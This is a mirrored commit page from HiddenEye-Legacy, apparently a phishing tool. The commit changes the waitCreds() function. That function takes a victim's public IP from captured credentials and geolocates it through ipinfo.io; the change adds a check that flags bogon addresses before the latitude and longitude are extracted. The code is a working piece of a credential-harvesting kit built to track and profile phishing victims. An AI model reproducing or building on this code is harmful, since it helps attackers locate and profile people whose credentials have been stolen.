mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Fix for bogus IP's. Fix of #50
This commit is contained in:
parent
9cc6f78529
commit
41c9e16a0a
|
@ -153,6 +153,10 @@ def waitCreds():
|
||||||
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
|
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
|
||||||
resp = urlopen('https://ipinfo.io/%s/json' % ip).read()
|
resp = urlopen('https://ipinfo.io/%s/json' % ip).read()
|
||||||
ipinfo = json.loads(resp)
|
ipinfo = json.loads(resp)
|
||||||
|
if (ipinfo['bogon'] != None):
|
||||||
|
print ('======================================================================'.format(RED, END))
|
||||||
|
print (' \n{0}[ VICTIM IP BOGUS ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines)
|
||||||
|
else:
|
||||||
matchObj = re.match('^(.*?),(.*)$', ipinfo['loc'])
|
matchObj = re.match('^(.*?),(.*)$', ipinfo['loc'])
|
||||||
latitude = matchObj.group(1)
|
latitude = matchObj.group(1)
|
||||||
longitude = matchObj.group(2)
|
longitude = matchObj.group(2)
|
||||||
|
|
Loading…
Reference in New Issue
Block a user